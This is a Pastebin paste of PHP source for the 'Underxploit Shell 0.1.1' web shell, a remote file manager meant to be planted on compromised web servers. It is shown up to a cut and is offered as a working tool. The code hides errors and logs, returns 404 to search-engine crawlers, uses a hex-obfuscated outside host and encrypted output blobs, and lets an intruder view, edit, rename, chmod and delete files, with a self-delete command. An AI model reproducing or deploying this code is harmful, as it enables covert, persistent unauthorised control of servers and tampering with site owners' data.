API tools faq
paste
WILDAN_IZZUDIN

UNDERXPLOIT SHELL VERSION 0.1.1

WILDAN_IZZUDIN
Dec 13th, 2017
904
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 55.26 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*! Description & About
  3.         * Underxploit Shell 0.1.1
  4.         * Responsive Version
  5.         * Source Viewer With Syntax Highligting
  6.         * Simple Gradient Alert
  7.         * Without Log's
  8.         * Clean Url
  9.         * Paralax Cover
  10.         * Programmed By Wildan Izzudin
  11.         * Web Shell (c) 2017
  12.         * Fix On 13, Dec 2017 (Wednesday)
  13. End !*/
  14. error_reporting(0);
  15. // --- pass : underxploit --- //
  16. $pass = "0bdec2f837ad15748be105faaf60db68";
  17. $_POST = cl($_POST);
  18. $_GET = cl($_GET);
  19. $_COOKIE = cl($_COOKIE);
  20. $_COEG = array_merge($_POST, $_GET);
  21. $_COEG = array_map("xp", $_COEG);
  22. $cookie = md5($_SERVER['HTTP_USER_AGENT']);
  23. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."underxploit"])) {
  24. vb(md5($_SERVER['HTTP_HOST'])."underxploit", $cookie);
  25. }
  26. function vb($k, $v) {
  27.     $_COOKIE[$k] = $v;
  28.     setcookie($k, $v);
  29. }
  30. function mtr($y) {
  31.     echo('<meta http-equiv="refresh" content="1;url='.$y.'"/>');
  32.     return $y;
  33. }
  34. function op($d, $e) {
  35.     $fp = fopen($d, "w");
  36.     $ch = curl_init();
  37.           curl_setopt($ch, CURLOPT_URL, $e);
  38.           curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  39.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  40.           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  41.           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  42.           curl_setopt($ch, CURLOPT_FILE, $fp);
  43.     return curl_exec($ch);
  44.           curl_close($ch);
  45.     fclose($fp);
  46.     ob_flush();
  47.     flush();
  48. }
  49. function deledir($dirname) {
  50.          if (is_dir($dirname))
  51.            $dir_handle = opendir($dirname);
  52.      if (!$dir_handle)
  53.           return false;
  54.      while($file = readdir($dir_handle)) {
  55.            if ($file != "." && $file != "..") {
  56.                 if (!is_dir($dirname."/".$file))
  57.                      unlink($dirname."/".$file);
  58.                 else
  59.                      deledir($dirname.'/'.$file);
  60.            }
  61.      }
  62.      closedir($dir_handle);
  63.      rmdir($dirname);
  64.      return true;
  65. }
  66. function a($x17) {
  67. @define("x13", "\x31\x33\x33\x37", true);
  68. $x14 = base64_decode($x17);
  69. $x16s = substr($x14, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
  70. $x19 = rtrim(
  71.     mcrypt_decrypt(
  72.         MCRYPT_RIJNDAEL_128,
  73.         hash('sha256', x13, true),
  74.         substr($x14, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $x16s), "\0");
  75. return $x19;
  76. }
  77. function x($b) {
  78.     $c = a($b);
  79. return $c;
  80. }
  81. @ini_set('error_log',NULL);
  82. @ini_set('log_errors',0);
  83. @ini_set('html_errors',0);
  84. @ini_set('max_execution_time',0);
  85. @ini_set('file_uploads',1);
  86. @set_time_limit(0);
  87. @clearstatcache();
  88. @define("x4", "\x68\x74\x74\x70\x3a\x2f\x2f\x78\x65\x72\x6f\x2e\x65\x73\x79\x2e\x65\x73\x2f\x6d\x65\x2f", true);
  89. @define("x5", "\x64\x69\x72\x3d", true);
  90. @define("x7", "\x63\x6f\x6d\x6d\x61\x6e\x64\x3d", true);
  91. @define("x6", "\x66\x69\x6c\x65\x3d", true);
  92. @define("x9", "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x27\x63\x6f\x4c\x2d\x6f\x70\x74\x69\x6f\x6e\x20\x74\x6f\x70\x27\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x69\x20\x63\x6c\x61\x73\x73\x3d\x27\x66\x61\x20\x66\x61\x2d\x67\x65\x61\x72\x20\x66\x61\x2d\x33\x78\x20\x66\x61\x2d\x73\x70\x69\x6e\x27\x3e\x3c\x2f\x69\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x5b\x20\x42\x41\x44\x20\x52\x45\x51\x55\x45\x53\x54\x20\x5d\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x2f\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\x3e", true);
  93. @define("sec", $pass, true);
  94. if(isset($_COEG['dir'])) {
  95.         $dir = str_replace("\\", "/", $_COEG['dir']);
  96.         @chdir($dir);
  97.     } else {
  98.         $dir = str_replace("\\", "/", getcwd());
  99. }
  100. $dir= str_replace("\\","/", $dir);
  101. $scdir = explode("/", $dir);        
  102. function cl($arr){
  103.     $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  104. if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  105.         if(is_array($arr)){
  106.             foreach($arr as $k=>$v){
  107.                 if(is_array($v)) $arr[$k] = cl($v);
  108.                 else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  109.             }
  110.         }
  111.     }
  112.     return $arr;
  113. }
  114. function xp($str){
  115.     return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
  116. }
  117. function r($r) {
  118.     echo('<script>window.location = "'.$r.'";</script>');
  119.     return $r;
  120. }
  121. function s($s) {
  122.     echo 'notif({
  123.                 type: "default",
  124.                 msg: "<span class=\'alert\'><font color=\'#fff\'>'.$s.'</font>",
  125.                 width: "all",
  126.                 height: 100,
  127.                 position: "center",
  128.             });';
  129.     return $s;
  130. }
  131. function error($text) {
  132. echo '<script> notif({
  133.                 type: "default",
  134.                 msg: "<span class=\'alert\'><font color=\'#fff\'>'.$text.'</font>",
  135.                 width: "all",
  136.                 height: 100,
  137.                 position: "center",
  138.             });</script>';
  139. return $text;
  140. }
  141. function success($text) {
  142. echo '<script> notif({
  143.                 type: "default",
  144.                 msg: "<span class=\'alert\'><font color=\'#fff\'>'.$text.'</font>",
  145.                 width: "all",
  146.                 height: 100,
  147.                 position: "center",
  148.             });</script>';
  149. return $text;
  150. }
  151. if(get_magic_quotes_gpc()) {
  152.     function stripslashes_array($array) {
  153.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  154. }
  155.     $_COEG = stripslashes_array($_COEG);
  156.     $_COOKIE = stripslashes_array($_COOKIE);
  157. }
  158. if(!empty(sec)) {
  159.     if(isset($_COEG['pass']) && (md5($_COEG['pass']) == sec))         vb(md5($_SERVER['HTTP_HOST']), sec);
  160. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != sec))
  161.         login();
  162. }
  163. function login() {
  164. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  165.         $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  166.           if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  167.           header('HTTP/1.0 404 Not Found');
  168.           exit;
  169.      }
  170.  } die('<html><head>
  171. <title>LOGIN | UNDERXPLOIT SHELL 0.1.1</title>
  172. <link rel="icon" href="http://xero.esy.es/me/favicon.ico" type="image/x-icon" />
  173. <meta property="og:image" content="http://xero.esy.es/me/logo.jpg">
  174. <meta name="viewport" content="width=device-width, initial-scale=1"><meta name="theme-color" content="#3c3b3f">
  175. <script src="http://xero.esy.es/me/jquery-2.js"></script>
  176. <script>baseUrl = window.location.href.split("?")[0]; window.history.pushState("name", "?", baseUrl);</script>
  177. <style>
  178. @import url("https://fonts.googleapis.com/css?family=Cabin");
  179. *{
  180.     box-sizing: border-box;
  181. }
  182.    body {
  183.       font-size: 15px;
  184.         color:#ddd;
  185.         margin:auto;
  186.         font-family: "Cabin";
  187.         color:#ddd;
  188.         margin:auto;
  189.         font-family: "Cabin";
  190.       background:url("http://xero.esy.es/me/bg.jpg") fixed no-repeat;
  191.         background-size: cover;
  192. }
  193. ::selection {
  194.    background-color: rgba(201,223,255,0.2);
  195.    color: #ffffff;
  196. }
  197. ::-moz-selection {
  198.    background-color: rgba(201,223,255,0.1);
  199.    color: #ffffff;
  200. }
  201. .image {
  202.     width:150px;
  203.     height:150px;
  204.     border-radius: 100%;
  205.     padding:2px;
  206.     border: 1px solid #ddd;
  207. }
  208. .animasi{opacity: 0.2;-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}
  209. .animasi.infinite{opacity: 0.2;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}
  210. .animasi:hover{opacity: 0.2;-webkit-animation-duration:0.1s;animation-duration:0.1s;}
  211.        @-webkit-keyframes anim1{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes anim1{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;-webkit-transform:scale3d(1.0,1.0,1.0);transform:scale3d(1.0,1.0,1.0)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.anim1{-webkit-animation-name:anim1;animation-name:anim1}
  212. input[type=password] {
  213.     padding: 7px;
  214.     background: none;
  215.     border:0px;
  216.     border-bottom: 2px solid #ddd;
  217.     color: #ddd;
  218.     font-family: "Cabin";
  219.     text-align:center;
  220.     font-size:15px;
  221. }
  222. h3 {
  223.     font-weight: 100;
  224. }
  225. .wrap {
  226.     width: 350px;
  227.     background: -moz-linear-gradient(top, rgba(201,223,255,0.1) 0%, rgba(201,223,255,0) 50%, rgba(201,223,255,0.1) 100%); /* FF3.6-15 */
  228.  background: -webkit-linear-gradient(top, rgba(201,223,255,0.1) 0%, rgba(201,223,255,0) 50%, rgba(201,223,255,0.1) 100%); /* Chrome10-25,Safari5.1-6 */
  229.  background: linear-gradient(to bottom, rgba(201,223,255,0.1) 0%, rgba(201,223,255,0) 50%, rgba(201,223,255,0.1) 100%);
  230.  box-shadow: inset 0 0 1px rgba(255,255,255,0.5), 0px 0px 20px rgba(0,0,0,0.5);
  231.   border-radius: 0.3em;
  232.     padding: 10px;
  233.     margin: 20px;
  234. }
  235. ::-webkit-input-placeholder { /* Chrome/Opera/Safari */
  236.  color: #ddd;
  237. }
  238. ::-moz-placeholder { /* Firefox 19+ */
  239.  color: #ddd;
  240. }
  241. :-ms-input-placeholder { /* IE 10+ */
  242.  color: #ddd;
  243. }
  244. :-moz-placeholder { /* Firefox 18- */
  245.  color: #ddd;
  246. }
  247.  
  248. /* Design By Wildan Izzudin */
  249. @media screen and (max-width: 2024px) {
  250.    .wrap {
  251.         width: 350px;
  252.                margin-top:160px;
  253.     }
  254. }
  255. @media screen and (max-width: 1024px) {
  256.     .wrap {
  257.         width: 350px;
  258.                margin-top:50px;
  259.     }
  260. }
  261. @media screen and (max-width: 780px) {
  262.     .wrap {
  263.         width: auto;
  264.                margin-top:50px;
  265.     }
  266. }
  267. </style>
  268. </head><body>
  269. <center>
  270. <div class="wrap">
  271.             <h3>Underxploit Shell 0.1.1</h3>
  272.             <img src="http://xero.esy.es/me/logo.jpg" class="image animasi infinite anim1"><br><br>
  273.             <form action="" method="post"><input type="password" placeholder="" name="pass"></div>');
  274. }
  275. ?>
  276. <?php
  277. echo('<html><head><title>UNDERXPLOIT SHELL 0.1.1</title><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
  278. <link rel="icon" href="'.x4.'favicon.ico" type="image/x-icon" />
  279.     <meta property="og:image" content="'.x4.'logo.jpg"><meta name="theme-color" content="#3c3b3f"><link rel="stylesheet" type="text/css" href="'.x4.'style.css"><link rel="stylesheet" type="text/css" href="'.x4.'alert.css"><script type="text/javascript" src="'.x4.'alert.js"></script><script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/highlight.min.js"></script><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"/><script type="text/javascript" src="'.x4.'jquery.js"></script>
  280. <script>
  281.     function c(x) {
  282.         window.location = x
  283.         }
  284. </script>');
  285. echo(x("\x73\x66\x38\x76\x34\x4e\x73\x44\x2b\x31\x31\x35\x73\x73\x49\x42\x6e\x61\x43\x42\x6b\x67\x35\x47\x41\x62\x71\x77\x73\x68\x33\x65\x6c\x48\x56\x66\x42\x2f\x4b\x69\x37\x38\x4a\x6e\x4a\x74\x6a\x58\x57\x70\x2b\x30\x67\x38\x67\x41\x38\x70\x59\x76\x46\x71\x6c\x4a\x63\x72\x53\x43\x62\x76\x6a\x65\x49\x63\x39\x76\x32\x4e\x5a\x30\x49\x43\x30\x7a\x2f\x76\x63\x77\x6b\x38\x56\x30\x47\x61\x33\x44\x59\x52\x37\x4a\x39\x38\x77\x46\x78\x2f\x55\x41\x6f\x42\x37\x45\x76\x6b\x62\x6a\x58\x41\x64\x39\x67\x63\x67\x4a\x68\x6e\x34\x4c\x61\x63\x58\x31\x54\x43\x74\x47\x72\x72\x5a\x43\x41\x73\x53\x36\x75\x61\x38\x6d\x43\x78\x7a\x75\x76\x33\x7a\x50\x55\x52\x68\x30\x43\x33\x65\x4e\x7a\x44\x67\x58\x56\x41\x30\x3d"));
  286. echo(x("\x68\x2f\x67\x43\x67\x35\x4b\x57\x39\x33\x55\x57\x39\x70\x78\x58\x4d\x73\x4e\x74\x31\x73\x4f\x6a\x67\x71\x72\x59\x4b\x4f\x4b\x50\x4d\x61\x70\x4a\x56\x78\x4f\x6c\x71\x67\x65\x71\x76\x44\x47\x6d\x72\x65\x6c\x35\x76\x75\x2f\x2f\x33\x52\x76\x50\x6a\x41\x73\x59\x4c\x55\x61\x61\x72\x6f\x79\x44\x67\x61\x72\x77\x51\x74\x42\x70\x69\x6a\x59\x70\x5a\x65\x6d\x4a\x55\x79\x50\x37\x51\x32\x6c\x33\x59\x69\x53\x6e\x67\x49\x36\x64\x71\x2f\x77\x59\x58\x58\x68\x5a\x78\x4e\x74\x64\x6c\x37\x64\x2b\x56\x5a\x66\x68\x76\x46\x4f\x76\x37\x45\x39\x6c\x47\x74\x36\x6b\x44\x41\x45\x55\x6f\x70\x58\x7a\x6f\x70\x6b\x41\x43\x6b\x61\x41\x4f\x52\x32\x76\x77\x32\x39\x67\x72\x50\x34\x47\x6c\x65\x50\x2b\x31\x31\x64\x45\x55\x6b\x77\x79\x2b\x66\x6c\x6c\x32\x53\x73\x5a\x39\x42\x75\x49\x72\x35\x50\x77\x30\x52\x61\x62\x53\x52\x38\x6a\x52\x7a\x50\x62\x59\x6e\x33\x6f\x52\x47\x55\x57\x55\x78\x70\x58\x30\x77\x64\x48\x31\x53\x4b\x47\x73\x6b\x59\x52\x38\x71\x51\x34\x47\x4f\x78\x30\x47\x2b\x56\x42\x72\x58\x2f\x67\x49\x50\x37\x51\x6a\x6d\x75\x55\x47\x54\x43\x39\x78\x4d\x5a\x50\x73\x32\x6f\x6e\x79\x6e\x31\x54\x75\x43\x74\x48\x69\x45\x51\x4a\x38\x51\x6f\x67\x49\x58\x4d\x32\x4f\x79\x72\x53\x4f\x2b\x51\x68\x31\x7a\x62\x4d\x44\x2f\x38\x3d"));
  287. echo('<i class="fa fa-chevron-up move-top"></i>');
  288. echo('<script>
  289. jQuery(document).ready(function() {
  290.    var offset = 220;
  291.    var duration = 500;
  292.    jQuery(window).scroll(function() {
  293.        if (jQuery(this).scrollTop() > offset) {
  294.            jQuery(\'.move-top\').fadeIn(duration);
  295.        } else {
  296.            jQuery(\'.move-top\').fadeOut(duration);
  297.        }
  298.    });
  299.    jQuery(\'.move-top\').click(function(event) {
  300.        event.preventDefault();
  301.        jQuery(\'html, body\').animate({scrollTop: 0}, duration);
  302.        return false;
  303.    })
  304. });
  305. </script>');
  306. echo('<script>hljs.initHighlightingOnLoad();</script>
  307. </head></body>
  308. <div class="co-ontainer-2">
  309. <div class="atas">
  310. <div class="menus">
  311. <button class="xa" onclick=\'c("'.$_SERVER['PHP_SELF'].'")\'><i class="fa fa-home"></i></button>
  312. <button class="xa" onclick=\'c("?'.x5.getcwd().'&'.x7.'about")\'><i class="fa fa-question"></i></button>
  313. <button class="xa" onclick=\'c("?'.x5.getcwd().'&'.x7.'logout")\'><i class="fa fa-power-off"></i></button></div></div>
  314. <div class="dir">
  315. <table style="width:100%">
  316. <td style="width:100%"><div class="dir-pallet"><table><td class="dir-td-left"><font color="#ddd">ROOT</font> :</td><td class="dir-td-right break wrap">');
  317. foreach($scdir as $c_dir => $cdir) {   
  318.     echo "<a class='a' onclick=\"c('?dir=";
  319.     for($i = 0; $i <= $c_dir; $i++) {
  320.         echo $scdir[$i];
  321.         if($i != $c_dir) {
  322.         echo "/";
  323.         }
  324.     }
  325.     echo "')\">$cdir</a>/";
  326. }
  327. echo("</td></table></div></th></table></div>");
  328. $filez = basename($_COEG['file']);
  329. $size = filesize("$dir/$filez")/1024;
  330.             $size = round($size,3);
  331.             if($size > 1024) {
  332.                 $size = round($size/1024,2). ' MB';
  333.             } else {
  334.                 $size = $size. ' KB';
  335. }
  336. echo('<div class="coL">');
  337. if($_COEG['command'] == 'logout') {
  338. r($_SERVER['PHP_SELF']);
  339. setcookie(md5($_SERVER['HTTP_HOST']), 'underxploit', time() - 3600);
  340. }  
  341. elseif($_COEG['command'] == 'view') {
  342. echo '<div class="coL-panel"><table>
  343. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SOURCE VIEWER</td></table></div>';
  344. echo '<div class="coL-option">';
  345. echo '<table><td align="center" style="width:30px"><i class="fa fa-file-o"></i> </td><td class="break"><font color="lime">[</font> '.basename($_COEG['file']).' <font color="lime">]</font></td><td style="width:90px" class="coL-option-panel" align="center">'.$size.'</td></table>
  346. <hr>';
  347. echo "<table><th><button class='coL-btn-option-active'><i class='fa fa-eye'></i></button></th>
  348. <th><a onclick=\"c('?".x7."edit&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-pencil'></i></button></a></th>
  349. <th><a onclick=\"c('?".x7."rename&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-edit'></i></button></a></th>
  350. <th><a onclick=\"c('?".x7."chmod&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-cogs'></i></button></a></th>
  351. <th><a onclick=\"c('?".x7."delete&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-trash'></i></button></a></th></table></div>";
  352. $source = htmlspecialchars(@file_get_contents($_COEG['file']));
  353. if(empty($source)) {
  354.     error('Source Not Found !!');
  355.     echo x9;
  356. } else {
  357.     echo "<pre class='top'><code class='php'>".$source."</code></pre></div>";
  358.     }
  359. }
  360. elseif($_COEG['command'] == 'edit') {
  361.     if($_COEG['save']) {
  362.         $save = file_put_contents($_COEG['file'], $_COEG['src']);
  363.     if($save) {
  364.     success('Source Saved !!');
  365.         } else {
  366.     error('Permission Denied !!');
  367.     }
  368. }
  369. echo '<div class="coL-panel"><table>
  370. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">EDIT FILE</td></table></div>';
  371. echo '<div class="coL-option">
  372. <table><td align="center" style="width:30px"><i class="fa fa-file-o"></i> </td><td class="break"><font color="lime">[</font> '.basename($_COEG['file']).' <font color="lime">]</font></td><td style="width:90px" class="coL-option-panel" align="center">'.$size.'</td></table>
  373. <hr><table>';
  374. echo "<th><a onclick=\"c('?".x7."view&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-eye'></i></button></a></th>
  375. <th><button class='coL-btn-option-active'><i class='fa fa-pencil'></i></button></th>
  376. <th><a onclick=\"c('?".x7."rename&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-edit'></i></button></a></th>
  377. <th><a onclick=\"c('?".x7."chmod&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-cogs'></i></button></a></th>
  378. <th><a onclick=\"c('?".x7."delete&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-trash'></i></button></a></th></table></div>";
  379. $source = htmlspecialchars(@file_get_contents($_COEG['file']));
  380. if(empty($source)) {
  381.     echo "<form method='post' action='?".x7."edit&".x5.$dir."&".x6.$_COEG['file']."'  style='margin:0px'>
  382.     <textarea name='src' placeholder='# Put your code here...' class='top'></textarea><br>
  383. <input type='submit' class='btn-exe' value='Save' name='save' style='margin-top:3px;width: 100%'></form></div>";
  384. } else { echo "<form method='post' action='?".x7."edit&".x5.$dir."&".x6.$_COEG['file']."' style='margin:0px'>
  385.     <textarea name='src' class='top'>".$source."</textarea>
  386. <input type='submit' value='Save' name='save' class='btn-exe' style='margin-top:3px;width: 100%'></form></div>";
  387.   }
  388. }
  389. elseif($_COEG['command'] == 'rename') {
  390.         if($_COEG['rename']) {
  391.         $rename = rename($_COEG['file'], "$dir/".htmlspecialchars($_COEG['rename'])."");
  392.         if($rename) {
  393. success('File Renamed !!');
  394. mtr("?".x7."rename&".x5.$dir."&".x6.$dir."/".$_COEG["rename"]);
  395.    } else {
  396. error('Permission Denied !!');
  397.         }
  398. }
  399. echo '<div class="coL-panel"><table>
  400. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME FILE</td></table></div>';
  401. echo '<div class="coL-option"><table><td align="center" style="width:30px"><i class="fa fa-file-o"></i> </td><td class="break"><font color="lime">[</font> '.basename($_COEG['file']).' <font color="lime">]</font></td><td style="width:90px" class="coL-option-panel" align="center">'.$size.'</td></table>
  402. <hr><table>';
  403. echo "<th><a onclick=\"c('?".x7."view&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-eye'></i></button></a></th>
  404. <th><a onclick=\"c('?".x7."edit&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-pencil'></i></button></a></th>
  405. <th><button class='coL-btn-option-active'><i class='fa fa-edit'></i></button></th>
  406. <th><a onclick=\"c('?".x7."chmod&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-cogs'></i></button></a></th>
  407. <th><a onclick=\"c('?".x7."delete&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-trash'></i></button></a></th></table></div>";
  408. echo "<div class='coL-option top'>
  409. <br><br><br>
  410.     <center>
  411.         <i class='fa fa-file-o fa-3x'></i></center><br><br>";
  412. echo "<form action='?".x7."rename&".x5.$dir."&".x6.$_COEG['file']."' style='margin:0px' method='post'>
  413. <table cellspacing='0'>
  414.     <td align='center' style='width:10%'><i class='fa fa-file-o'></i> </td><td style='width:70%'><input type='text' value='".basename($_COEG['file'])."' name='rename'></td><td style='width:20%'>
  415.     <button type='submit' class='btn-exe'><i class='fa fa-arrow-circle-right'></i></button></td></table>
  416.     </form></div></div>";
  417. }
  418. else if($_COEG['command'] == 'chmod') {
  419. if(isset($_COEG['perm'])) {
  420. if(chmod($_COEG['file'],octdec($_COEG['perm']))) {
  421. success('Chmod Ok !!');
  422. mtr("?".x7."chmod&".x5.$dir."&".x6.$_COEG['file']);
  423. } else {
  424. error('Permission Denied !!');
  425.     }
  426. }
  427. echo '<div class="coL-panel"><table>
  428. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD FILE</td></table></div>';
  429. echo '<div class="coL-option"><table><td align="center" style="width:30px"><i class="fa fa-file-o"></i> </td><td class="break"><font color="lime">[</font> '.basename($_COEG['file']).' <font color="lime">]</font></td><td style="width:90px" class="coL-option-panel" align="center">'.$size.'</td></table>
  430. <hr><table>';
  431. echo "<th><a onclick=\"c('?".x7."view&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-eye'></i></button></a></th>
  432. <th><a onclick=\"c('?".x7."edit&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-pencil'></i></button></a></th>
  433. <th><a onclick=\"c('?".x7."rename&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-edit'></i></button></a></th>
  434. <th><button class='coL-btn-option-active'><i class='fa fa-cogs'></i></button></th>
  435. <th><a onclick=\"c('?".x7."delete&".x5.$dir."&".x6.$_COEG['file']."')\"><button class='coL-btn-option'><i class='fa fa-trash'></i></button></a></th></table></div>";
  436. echo "<div class='coL-option top'>
  437. <br><br><br>
  438.     <center>
  439.         <i class='fa fa-file-o fa-3x'></i></center><br><br>";
  440. echo "<form action='?".x7."chmod&".x5.$dir."&".x6.$_COEG['file']."' style='margin:0px' method='post'>
  441. <table cellspacing='0'>
  442.     <td align='center' style='width:10%'><i class='fa fa-file-o'></i> </td><td style='width:70%'>
  443. <input type='text' value='".substr(sprintf("%o", fileperms($_COEG['file'])), -4)."' name='perm' style='width:100%'>
  444. <input type='hidden' name='path' value='".$_COEG['file']."'></td><td style='width:20%'>
  445.     <button type='submit' class='btn-exe'><i class='fa fa-arrow-circle-right'></i></button></td></table>
  446.     </form></div></div>";
  447. }
  448. elseif($_COEG['command'] == 'delete') {
  449. $delete = unlink($_COEG['file']);
  450. if($delete) {
  451.         echo('<script>c("?'.x5.$dir.'");</script>');
  452.     } else {
  453.         error('Permission Denied !!');
  454.     }
  455. }
  456. elseif($_COEG['command'] == 'change') {
  457. echo('<style> .tup { font-size: 14px; } </style>');
  458. echo('<div class="coL-panel"><table>
  459. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHANGE PASSWORD</td></table></div>');
  460. echo('<script>
  461. function validate(){
  462.             var a = document.getElementById("newpass").value;
  463.            var b = document.getElementById("confirm").value;
  464.            if (a!=b) {');
  465.       s('Password Do Not Match !!');
  466.             echo('return false;
  467.     }
  468. }
  469.     </script>');
  470. function xs($file){
  471.     return file_get_contents($file);
  472. }
  473. function chipt($plain){
  474.         return md5($plain);
  475. }
  476. function changepass($plain){
  477.     $npass = chipt($plain);
  478.     $npass = "\$pass = \"".$npass."\";";
  479.     $con = xs($_SERVER['SCRIPT_FILENAME']);
  480.     $con = preg_replace("/\\\$pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$npass,$con);
  481.     return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  482. }
  483.  
  484. if($_COEG['newpass']) {
  485. if(changepass($_COEG['newpass'])) {
  486. success('Password Changed !!');
  487. mtr('?'.x5.$dir.'&'.x7.'logout');
  488. } else {
  489. error('Unable To Change Password !!');
  490.     }
  491. }
  492. echo "<div class='coL-option top'>
  493. <form method='post' onSubmit='return validate();' action='?".x7."change&".x5.$dir."'><table style='width:100%'>
  494. <td class='tup' style='width:120px'>Password :</td><td style='width:75%'><input type='password' id='newpass' name='newpass' style='width:100%'></td>
  495. <tr>
  496. <td class='tup' style='width:120px'>Confirm :</td><td style='width:75%'><input type='password' id='confirm' name='confirm' style='width:100%'></td>
  497. <tr>
  498. <td style='width:120px'></td><td style='width:75%'>
  499. <button type='submit' name='cps' class='btn-exe' onclick='saveForm();return false;' style='width:100px'><i class='fa fa-arrow-circle-right'></i></button></td></table></form></div></div>";
  500. echo '<script>function saveForm(){
  501. if(document.getElementById("newpass").value == ""){';
  502.        s('Enter New Password !!');
  503.    echo'document.getElementById("newpass").focus();
  504.      return false;
  505.    }
  506. if(document.getElementById("confirm").value == ""){';
  507.       s('Confirm Your Password !!');
  508.    echo'return false;
  509.    }
  510.    document.getElementById("sks").submit();
  511.  }
  512. </script>';
  513. }
  514. elseif($_COEG['command'] == 'kill') {
  515. if(file_exists("underxploit.php"))
  516. unlink("underxploit.php");unlink(__FILE__);
  517.     success('Good Bye Baby :\')');
  518.     mtr('http://underxploit.blogspot.com');
  519. }
  520. elseif($_COEG['command'] == 'renadir') {
  521.    $c = $_COEG['e'];
  522.     if($_COEG['e']) {
  523.         $e = rename($dir, "".dirname($dir)."/".htmlspecialchars($_COEG['e'])."");
  524.         if($e) {
  525. echo('<script>c("?'.x5.dirname($dir).'");</script>');
  526.     } else {
  527. error('Permission Denied !!');
  528.     }
